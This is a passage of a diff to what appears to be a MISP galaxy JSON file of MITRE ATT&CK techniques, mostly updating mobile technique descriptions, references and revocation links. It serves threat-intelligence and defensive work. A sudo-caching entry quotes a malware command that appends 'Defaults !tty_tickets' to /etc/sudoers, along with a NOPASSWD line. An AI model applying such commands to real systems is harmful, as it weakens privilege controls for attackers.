"08e22979-d320-48ed-8711-e7bf94aabb13", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "3b0b604f-10db-41a0-b54c-493124d455b9", "value": "Network Traffic Capture or Redirection - T1410" }, @@ -2130,7 +2150,7 @@ "value": "Data from Network Shared Drive - T1039" }, { - "description": "An app could download and execute dynamic code (not included in the original application package) after installation to evade static analysis techniques (and potentially dynamic analysis techniques) used for application vetting or application store review.(Citation: Poeplau-ExecuteThis)\n\nOn Android, dynamic code could include native code, Dalvik code, or JavaScript code that uses the Android WebView's JavascriptInterface capability.(Citation: Bromium-AndroidRCE)\n\nOn iOS, techniques also exist for executing dynamic code downloaded after application installation.(Citation: FireEye-JSPatch)(Citation: Wang)", + "description": "Adversaries may download and execute dynamic code not included in the original application package after installation. This technique is primarily used to evade static analysis checks and pre-publication scans in official app stores. In some cases, more advanced dynamic or behavioral analysis techniques could detect this behavior. However, in conjunction with [Execution Guardrails](https://attack.mitre.org/techniques/T1627) techniques, detecting malicious code downloaded after installation could be difficult.\n\nOn Android, dynamic code could include native code, Dalvik code, or JavaScript code that utilizes Android WebView’s `JavascriptInterface` capability. \n\nOn iOS, dynamic code could be downloaded and executed through 3rd party libraries such as JSPatch. (Citation: FireEye-JSPatch) ", "meta": { "external_id": "APP-20", "kill_chain": [ @@ -2142,11 +2162,8 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1407", - "https://labs.bromium.com/2014/07/31/remote-code-execution-on-android-devices/", "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-20.html", - "https://www.fireeye.com/blog/threat-research/2016/01/hot_or_not_the_bene.html", - "https://www.internetsociety.org/sites/default/files/10_5_0.pdf", - "https://www.usenix.org/conference/usenixsecurity13/technical-sessions/presentation/wang_tielei" + "https://www.fireeye.com/blog/threat-research/2016/01/hot_or_not_the_bene.html" ] }, "uuid": "6c49d50f-494d-4150-b774-a655022d20a6", @@ -2245,15 +2262,7 @@ "https://attack.mitre.org/techniques/T1431" ] }, - "related": [ - { - "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "revoked-by" - } - ], + "related": [], "uuid": "6b846ad0-cc20-4db6-aa34-91561397c5e2", "value": "App Delivered via Web Download - T1431" }, @@ -2609,15 +2618,7 @@ "https://attack.mitre.org/techniques/T1434" ] }, - "related": [ - { - "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "revoked-by" - } - ], + "related": [], "uuid": "1f96d624-8409-4472-ad8a-30618ee6b2e2", "value": "App Delivered via Email Attachment - T1434" }, @@ -2684,6 +2685,34 @@ "uuid": "0e6abb17-0f81-4988-9fd2-4ba0b673d729", "value": "Automated system performs requested action - T1384" }, + { + "description": "Adversaries may attempt to exfiltrate data over a different network medium than the command and control channel. If the command and control network is a standard Internet connection, the exfiltration may occur, for example, via Bluetooth, or another radio frequency (RF) channel. \n\nAdversaries may choose to do this if they have sufficient access or proximity, and the connection might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network. ", + "meta": { + "external_id": "APP-30", + "kill_chain": [ + "mitre-mobile-attack:command-and-control" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1438", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-30.html" + ] + }, + "related": [ + { + "dest-uuid": "ec4c4baa-026f-43e8-8f56-58c36f3162dd", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], + "uuid": "b3c2e5de-0941-4b57-ba61-af029eb5517a", + "value": "Exfiltration Over Other Network Medium - T1438" + }, { "description": "If network traffic between the mobile device and remote servers is unencrypted or is encrypted in an insecure manner, then an adversary positioned on the network can eavesdrop on communication.(Citation: mHealth)", "meta": { @@ -2702,6 +2731,15 @@ "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-1.html" ] }, + "related": [ + { + "dest-uuid": "08e22979-d320-48ed-8711-e7bf94aabb13", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "393e8c12-a416-4575-ba90-19cc85656796", "value": "Eavesdrop on Insecure Network Communication - T1439" }, @@ -2819,31 +2857,25 @@ "value": "Compromise of externally facing system - T1388" }, { - "description": "An attacker could jam radio signals (e.g. Wi-Fi, cellular, GPS) to prevent the mobile device from communicating. (Citation: NIST-SP800187)(Citation: CNET-Celljammer)(Citation: NYTimes-Celljam)(Citation: Digitaltrends-Celljam)(Citation: Arstechnica-Celljam)", + "description": "Adversaries may use scripts automatically executed at boot or logon initialization to establish persistence. Initialization scripts are part of the underlying operating system and are not accessible to the user unless the device has been rooted or jailbroken. ", "meta": { - "external_id": "GPS-0", + "external_id": "APP-27", "kill_chain": [ - "mitre-mobile-attack:network-effects" + "mitre-mobile-attack:persistence" ], "mitre_platforms": [ "Android", "iOS" ], "refs": [ - "http://csrc.nist.gov/publications/drafts/800-187/sp800_187_draft.pdf", - "https://arstechnica.com/tech-policy/2016/03/man-accused-of-jamming-passengers-cell-phones-on-chicago-subway/", - "https://attack.mitre.org/techniques/T1464", - "https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-7.html", - "https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-8.html", - "https://pages.nist.gov/mobile-threat-catalogue/gps-threats/GPS-0.html", - "https://pages.nist.gov/mobile-threat-catalogue/lan-pan-threats/LPN-5.html", - "https://www.cnet.com/news/man-put-cell-phone-jammer-in-car-to-stop-driver-calls-fcc-says/", - "https://www.digitaltrends.com/mobile/florida-teacher-punished-after-signal-jamming-his-students-cell-phones/", - "https://www.nytimes.com/2007/11/04/technology/04jammer.html" + "https://attack.mitre.org/techniques/T1398", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-26.html", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-27.html", + "https://source.android.com/security/verifiedboot/" ] }, - "uuid": "d2e112dc-f6d4-488d-b8df-ecbfb57a0a2d", - "value": "Jamming or Denial of Service - T1464" + "uuid": "46d818a5-67fa-4585-a7fc-ecf15376c8d5", + "value": "Boot or Logon Initialization Scripts - T1398" }, { "description": "Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. Operating systems may have mechanisms for automatically running a program on system boot or account logon.(Citation: Microsoft Run Key)(Citation: MSDN Authentication Packages)(Citation: Microsoft TimeProvider)(Citation: Cylance Reg Persistence Sept 2013)(Citation: Linux Kernel Programming) These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry. An adversary may achieve the same goal by modifying or extending features of the kernel.\n\nSince some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges.", @@ -2902,6 +2934,15 @@ "https://pages.nist.gov/mobile-threat-catalogue/emm-threats/EMM-7.html" ] }, + "related": [ + { + "dest-uuid": "9ef05e3d-52db-4c12-be4f-519214bbe91f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "6f86d346-f092-4abc-80df-8558a90c426a", "value": "Remotely Track Device Without Authorization - T1468" }, @@ -2945,6 +2986,15 @@ "https://www.symantec.com/connect/blogs/malicious-profiles-sleeping-giant-ios-security" ] }, + "related": [ + { + "dest-uuid": "fcb11f06-ce0e-490b-bcc1-04a1623579f0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "cde2cb84-455e-410c-8aa9-086f2788bcd2", "value": "Install Insecure or Malicious Configuration - T1478" }, @@ -3131,6 +3181,15 @@ "https://pages.nist.gov/mobile-threat-catalogue/lan-pan-threats/LPN-0.html" ] }, + "related": [ + { + "dest-uuid": "08e22979-d320-48ed-8711-e7bf94aabb13", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "633baf01-6de4-4963-bb54-ff6c6357bed3", "value": "Rogue Wi-Fi Access Points - T1465" }, @@ -3233,6 +3292,34 @@ "uuid": "68a0c5ed-bee2-4513-830d-5b0d650139bd", "value": "Distributed Component Object Model - T1021.003" }, + { + "description": "An adversary may use access to cloud services (e.g. Google's Android Device Manager or Apple iCloud's Find my iPhone) or to an enterprise mobility management (EMM)/mobile device management (MDM) server console to track the location of mobile devices managed by the service.(Citation: Krebs-Location) ", + "meta": { + "external_id": "EMM-7", + "kill_chain": [ + "mitre-mobile-attack:collection", + "mitre-mobile-attack:discovery" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1430/001", + "https://krebsonsecurity.com/2018/05/tracking-firm-locationsmart-leaked-location-data-for-customers-of-all-major-u-s-mobile-carriers-in-real-time-via-its-web-site/", + "https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-5.html", + "https://pages.nist.gov/mobile-threat-catalogue/emm-threats/EMM-7.html" + ] + }, + "related": [ + { + "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", + "type": "subtechnique-of" + } + ], + "uuid": "9ef05e3d-52db-4c12-be4f-519214bbe91f", + "value": "Remote Device Management Services - T1430.001" + }, { "description": "Adversaries may access network configuration files to collect sensitive data about the device and the network. The network configuration is a file containing parameters that determine the operation of the device. The device typically stores an in-memory copy of the configuration while operating, and a separate configuration on non-volatile storage to load after device reset. Adversaries can inspect the configuration files to reveal information about the target network and its layout, the network device and its software, or identifying legitimate accounts and credentials for later use.\n\nAdversaries can use common management tools and protocols, such as Simple Network Management Protocol (SNMP) and Smart Install (SMI), to access network configuration files.(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation: Cisco Blog Legacy Device Attacks) These tools may be used to query specific data from a configuration repository or configure the device to export the configuration for later analysis. ", "meta": { @@ -3458,6 +3545,55 @@ "uuid": "677569f9-a8b0-459e-ab24-7f18091fa7bf", "value": "Create Process with Token - T1134.002" }, + { + "description": "Adversaries may modify code signing policies to enable execution of applications signed with unofficial or unknown keys. Code signing provides a level of authenticity on an app from a developer, guaranteeing that the program has not been tampered with and comes from an official source. Security controls can include enforcement mechanisms to ensure that only valid, signed code can be run on a device. \n\nMobile devices generally enable these security controls by default, such as preventing the installation of unknown applications on Android. Adversaries may modify these policies in a number of ways, including [Input Injection](https://attack.mitre.org/techniques/T1516) or malicious configuration profiles.", + "meta": { + "external_id": "STA-7", + "kill_chain": [ + "mitre-mobile-attack:defense-evasion" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1632/001", + "https://pages.nist.gov/mobile-threat-catalogue/stack-threats/STA-7.html" + ] + }, + "related": [ + { + "dest-uuid": "79cb02f4-ac4e-4335-8b51-425c9573cce1", + "type": "subtechnique-of" + } + ], + "uuid": "fcb11f06-ce0e-490b-bcc1-04a1623579f0", + "value": "Code Signing Policy Modification - T1632.001" + }, + { + "description": "Adversaries may execute their own malicious payloads by hijacking the way an operating system run applications. Hijacking execution flow can be for the purposes of persistence since this hijacked execution may reoccur at later points in time. \n\n\nOn Android, adversaries may overwrite the standard OS API library with a malicious alternative to hook into core functions to achieve persistence. By doing this, the adversary’s code will be executed every time the overwritten API function is called by an app on the infected device.", + "meta": { + "external_id": "APP-27", + "kill_chain": [ + "mitre-mobile-attack:persistence" + ], + "mitre_platforms": [ + "Android" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1625/001", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-27.html" + ] + }, + "related": [ + { + "dest-uuid": "670a4d75-103b-4b14-8a9e-4652fa795edd", + "type": "subtechnique-of" + } + ], + "uuid": "c6e17ca2-08b5-4379-9786-89bd05241831", + "value": "System Runtime API Hijacking - T1625.001" + }, { "description": "Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take the many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information.\n\nAdversaries may also tamper with artifacts deployed and utilized by security tools. Security tools may make dynamic changes to system components in order to maintain visibility into specific events. For example, security products may load their own modules and/or modify those loaded by processes to facilitate data collection. Similar to [Indicator Blocking](https://attack.mitre.org/techniques/T1562/006), adversaries may unhook or otherwise modify these features added by tools (especially those that exist in userland or are otherwise potentially accessible to adversaries) to avoid detection.(Citation: OutFlank System Calls)(Citation: MDSec System Calls)", "meta": { @@ -3856,6 +3992,64 @@ "uuid": "8f504411-cb96-4dac-a537-8d2bb7679c59", "value": "Impair Command History Logging - T1562.003" }, + { + "description": "Adversaries may disable security tools to avoid potential detection of their tools and activities. This can take the form of disabling security software, modifying SELinux configuration, or other methods to interfere with security tools scanning or reporting information. This is typically done by abusing device administrator permissions or using system exploits to gain root access to the device to modify protected system files.", + "meta": { + "external_id": "T1629.003", + "kill_chain": [ + "mitre-mobile-attack:defense-evasion" + ], + "mitre_platforms": [ + "Android" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1629/003" + ] + }, + "related": [ + { + "dest-uuid": "20b0931a-8952-42ca-975f-775bad295f1a", + "type": "subtechnique-of" + } + ], + "uuid": "2aa78dfd-cb6f-4c70-9408-137cfd96be49", + "value": "Disable or Modify Tools - T1629.003" + }, + { + "description": "Adversaries may manipulate hardware components in products prior to receipt by a final consumer for the purpose of data or system compromise. By modifying hardware or firmware in the supply chain, adversaries can insert a backdoor into consumer networks that may be difficult to detect and give the adversary a high degree of control over the system. ", + "meta": { + "external_id": "SPC-21", + "kill_chain": [ + "mitre-mobile-attack:initial-access" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1474/002", + "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-1.html", + "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-13.html", + "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-16.html", + "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-17.html", + "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-2.html", + "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-21.html", + "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-4.html", + "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-5.html", + "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-6.html", + "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-7.html", + "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-8.html" + ] + }, + "related": [ + { + "dest-uuid": "0d95940f-9583-4e0f-824c-a42c1be47fad", + "type": "subtechnique-of" + } + ], + "uuid": "c08366bb-8d11-4921-853f-f0a3b6a2a1da", + "value": "Compromise Hardware Supply Chain - T1474.002" + }, { "description": "Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.(Citation: TechNet How UAC Works)\n\nIf the UAC protection level of a computer is set to anything but the highest level, certain Windows programs can elevate privileges or execute some elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) objects without prompting the user through the UAC notification box.(Citation: TechNet Inside UAC)(Citation: MSDN COM Elevation) An example of this is use of [Rundll32](https://attack.mitre.org/techniques/T1218/011) to load a specifically crafted DLL which loads an auto-elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.(Citation: Davidson Windows)\n\nMany methods have been discovered to bypass UAC. The Github readme page for UACME contains an extensive list of methods(Citation: Github UACMe) that have been discovered and implemented, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:\n\n* eventvwr.exe can auto-elevate and execute a specified binary or script.(Citation: enigma0x3 Fileless UAC Bypass)(Citation: Fortinet Fareit)\n\nAnother bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity.(Citation: SANS UAC Bypass)", "meta": { @@ -3991,6 +4185,35 @@ "uuid": "bf1b6176-597c-4600-bfcd-ac989670f96b", "value": "Exfiltration to Cloud Storage - T1567.002" }, + { + "description": "Adversaries may manipulate application software prior to receipt by a final consumer for the purpose of data or system compromise. Supply chain compromise of software can take place in a number of ways, including manipulation of the application source code, manipulation of the update/distribution mechanism for that software, or replacing compiled releases with a modified version.", + "meta": { + "external_id": "SPC-20", + "kill_chain": [ + "mitre-mobile-attack:initial-access" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1474/003", + "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-11.html", + "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-12.html", + "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-18.html", + "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-20.html", + "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-4.html" + ] + }, + "related": [ + { + "dest-uuid": "0d95940f-9583-4e0f-824c-a42c1be47fad", + "type": "subtechnique-of" + } + ], + "uuid": "9558a84e-2d5e-4872-918e-d847494a8ffc", + "value": "Compromise Software Supply Chain - T1474.003" + }, { "description": "Adversaries may perform sudo caching and/or use the sudoers file to elevate privileges. Adversaries may do this to execute commands as other users or spawn processes with higher privileges.\n\nWithin Linux and MacOS systems, sudo (sometimes referred to as \"superuser do\") allows users to perform commands from terminals with elevated privileges and to control who can perform these commands on the system. The sudo command \"allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments.\"(Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a timestamp_timeout, which is the amount of time in minutes between instances of sudo before it will re-prompt for a password. This is because sudo has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at /var/db/sudo with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a tty_tickets variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).\n\nThe sudoers file, /etc/sudoers, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the principle of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like user1 ALL=(ALL) NOPASSWD: ALL.(Citation: OSX.Dok Malware) Elevated privileges are required to edit this file though.\n\nAdversaries can also abuse poor configurations of these mechanisms to escalate privileges without needing the user's password. For example, /var/db/sudo's timestamp can be monitored to see if it falls within the timestamp_timeout range. If it does, then malware can execute sudo commands without needing to supply the user's password. Additional, if tty_tickets is disabled, adversaries can do this from any tty for that user.\n\nIn the wild, malware has disabled tty_tickets to potentially make scripting easier by issuing echo \\'Defaults !tty_tickets\\' >> /etc/sudoers.(Citation: cybereason osx proton) In order for this change to be reflected, the malware also issued killall Terminal. As of macOS Sierra, the sudoers file has tty_tickets enabled by default.", "meta": { @@ -4651,17 +4874,19 @@ "value": "Change Default File Association - T1042" }, { - "description": "On Android, command line tools or the Java file APIs can be used to enumerate file system contents. However, Linux file permissions and SELinux policies generally strongly restrict what can be accessed by apps (without taking advantage of a privilege escalation exploit). The contents of the external storage directory are generally visible, which could present concern if sensitive data is inappropriately stored there.\n\niOS's security architecture generally restricts the ability to perform file and directory discovery without use of escalated privileges.", + "description": "Adversaries may enumerate files and directories or search in specific device locations for desired information within a filesystem. Adversaries may use the information from [File and Directory Discovery](https://attack.mitre.org/techniques/T1420) during automated discovery to shape follow-on behaviors, including deciding if the adversary should fully infect the target and/or attempt specific actions. \n\nOn Android, Linux file permissions and SELinux policies typically stringently restrict what can be accessed by apps without taking advantage of a privilege escalation exploit. The contents of the external storage directory are generally visible, which could present concerns if sensitive data is inappropriately stored there. iOS's security architecture generally restricts the ability to perform any type of [File and Directory Discovery](https://attack.mitre.org/techniques/T1420) without use of escalated privileges. ", "meta": { - "external_id": "T1420", + "external_id": "STA-41", "kill_chain": [ "mitre-mobile-attack:discovery" ], "mitre_platforms": [ - "Android" + "Android", + "iOS" ], "refs": [ - "https://attack.mitre.org/techniques/T1420" + "https://attack.mitre.org/techniques/T1420", + "https://pages.nist.gov/mobile-threat-catalogue/stack-threats/STA-41.html" ] }, "uuid": "cf28ca46-1fd3-46b4-b1f6-ec0b72361848", @@ -4847,6 +5072,25 @@ "uuid": "4579d9c9-d5b9-45e0-9848-0104637b579f", "value": "Credentials from Web Browsers - T1503" }, + { + "description": "Adversaries may delete, alter, or hide generated artifacts on a device, including files, jailbreak status, or the malicious application itself. These actions may interfere with event collection, reporting, or other notifications used to detect intrusion activity. This may compromise the integrity of mobile security solutions by causing notable events or information to go unreported.", + "meta": { + "external_id": "APP-43", + "kill_chain": [ + "mitre-mobile-attack:defense-evasion" + ], + "mitre_platforms": [ + "iOS", + "Android" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1630", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-43.html" + ] + }, + "uuid": "0d4e3bbb-7af5-4c88-a215-0c0906bc1e8d", + "value": "Indicator Removal on Host - T1630" + }, { "description": "Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nMany command shell utilities can be used to obtain this information. Examples include dir, tree, ls, find, and locate.(Citation: Windows Commands JPCERT) Custom tools may also be used to gather file and directory information and interact with the [Native API](https://attack.mitre.org/techniques/T1106). Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather file and directory information.(Citation: US-CERT-TA18-106A)", "meta": { @@ -4933,18 +5177,29 @@ "https://attack.mitre.org/techniques/T1440" ] }, - "related": [ - { - "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "revoked-by" - } - ], + "related": [], "uuid": "b765efd1-02e6-4e67-aebf-0fef5c37e54b", "value": "Detect App Analysis Environment - T1440" }, + { + "description": "Adversaries may exploit software vulnerabilities in order to to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in an application, service, within the operating system software, or kernel itself to execute adversary-controlled code. Security constructions, such as permission levels, will often hinder access to information and use of certain techniques. Adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions. \n\nWhen initially gaining access to a device, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and applications running at higher permissions, that can be exploited to gain higher levels of access on the system. This could enable someone to move from unprivileged or user- level permission to root permissions depending on the component that is vulnerable. ", + "meta": { + "external_id": "APP-26", + "kill_chain": [ + "mitre-mobile-attack:privilege-escalation" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1404", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-26.html" + ] + }, + "uuid": "351c0927-2fc1-4a2c-ad84-cbbee7eb8172", + "value": "Exploitation for Privilege Escalation - T1404" + }, { "description": "Processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.\n\n### Services\n\nManipulation of Windows service binaries is one variation of this technique. Adversaries may replace a legitimate service executable with their own executable to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService). Once the service is started, either directly by the user (if appropriate access is available) or through some other means, such as a system restart if the service starts on bootup, the replaced executable will run instead of the original service executable.\n\n### Executable Installers\n\nAnother variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the %TEMP% directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038). Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088). Several examples of this weakness in existing common installers have been reported to software vendors. (Citation: Mozilla Firefox Installer DLL Hijack) (Citation: Seclists Kanthak 7zip Installer)", "meta": { @@ -4978,7 +5233,7 @@ "value": "File System Permissions Weakness - T1044" }, { - "description": "An app could contain malicious code in obfuscated or encrypted form, then deobfuscate or decrypt the code at runtime to evade many app vetting techniques.(Citation: Rastogi) (Citation: Zhou) (Citation: TrendMicro-Obad) (Citation: Xiao-iOS)", + "description": "Adversaries may attempt to make a payload or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the device or in transit. This is common behavior that can be used across different platforms and the network to evade defenses. \n \nPayloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Portions of files can also be encoded to hide the plaintext strings that would otherwise help defenders with discovery. Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled.(Citation: Microsoft MalLockerB) ", "meta": { "external_id": "APP-21", "kill_chain": [ @@ -4989,12 +5244,9 @@ "iOS" ], "refs": [ - "http://blog.trendmicro.com/trendlabs-security-intelligence/cybercriminals-improve-android-malware-stealth-routines-with-obad/", - "http://ieeexplore.ieee.org/document/6234407", - "http://pages.cs.wisc.edu/~vrastogi/static/papers/rcj13b.pdf", - "http://www.slideshare.net/Shakacon/fruit-vs-zombies-defeat-nonjailbroken-ios-malware-by-claud-xiao", "https://attack.mitre.org/techniques/T1406", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-21.html" + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-21.html", + "https://www.microsoft.com/security/blog/2020/10/08/sophisticated-new-android-malware-marks-the-latest-evolution-of-mobile-ransomware/" ] }, "uuid": "d13fa042-8f26-44e1-a2a8-af0bf8e2ac9a", @@ -5051,27 +5303,6 @@ "uuid": "a19e86f8-1c0a-4fea-8407-23b73d615776", "value": "Exfiltration Over Alternative Protocol - T1048" }, - { - "description": "Adversaries may access and collect application data resident on the device. Adversaries often target popular applications such as Facebook, WeChat, and Gmail.(Citation: SWB Exodus March 2019)\n\nThis technique requires either escalated privileges or for the targeted app to have stored the data in an insecure manner (e.g., with insecure file permissions or in an insecure location such as an external storage directory).", - "meta": { - "external_id": "AUT-0", - "kill_chain": [ - "mitre-mobile-attack:collection", - "mitre-mobile-attack:credential-access" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1409", - "https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-0.html", - "https://securitywithoutborders.org/blog/2019/03/29/exodus.html" - ] - }, - "uuid": "702055ac-4e54-4ae9-9527-e23a38e0b160", - "value": "Access Stored Application Data - T1409" - }, { "description": "Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network. \n\nAn adversary who gains access to a system that is part of a cloud-based environment may map out Virtual Private Clouds or Virtual Networks in order to determine what systems and services are connected. The actions performed are likely the same types of discovery techniques depending on the operating system, but the resulting information may include details about the networked cloud environment relevant to the adversary's goals. Cloud providers may have different ways in which their virtual networks operate.(Citation: Amazon AWS VPC Guide)(Citation: Microsoft Azure Virtual Network Overview)(Citation: Google VPC Overview) Similarly, adversaries who gain access to network devices may also perform similar discovery activities to gather information about connected systems and services.\n\nUtilities and commands that acquire this information include [netstat](https://attack.mitre.org/software/S0104), \"net use,\" and \"net session\" with [Net](https://attack.mitre.org/software/S0039). In Mac and Linux, [netstat](https://attack.mitre.org/software/S0104) and lsof can be used to list current connections. who -a and w can be used to show which users are currently logged in, similar to \"net session\". Additionally, built-in features native to network devices and [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) may be used.(Citation: US-CERT-TA18-106A)", "meta": { @@ -5452,7 +5683,7 @@ "value": "Data from Information Repositories - T1213" }, { - "description": "On Android, applications can use standard APIs to gather a list of network connections to and from the device. For example, the Network Connections app available in the Google Play Store (Citation: ConnMonitor) advertises this functionality.", + "description": "Adversaries may attempt to get a listing of network connections to or from the compromised device they are currently accessing or from remote systems by querying for information over the network. \n\n \n\nThis is typically accomplished by utilizing device APIs to collect information about nearby networks, such as Wi-Fi, Bluetooth, and cellular tower connections. On Android, this can be done by querying the respective APIs: \n\n \n\n* `WifiInfo` for information about the current Wi-Fi connection, as well as nearby Wi-Fi networks. Querying the `WiFiInfo` API requires the application to hold the `ACCESS_FINE_LOCATION` permission. \n\n* `BluetoothAdapter` for information about Bluetooth devices, which also requires the application to hold several permissions granted by the user at runtime. \n\n* For Android versions prior to Q, applications can use the `TelephonyManager.getNeighboringCellInfo()` method. For Q and later, applications can use the 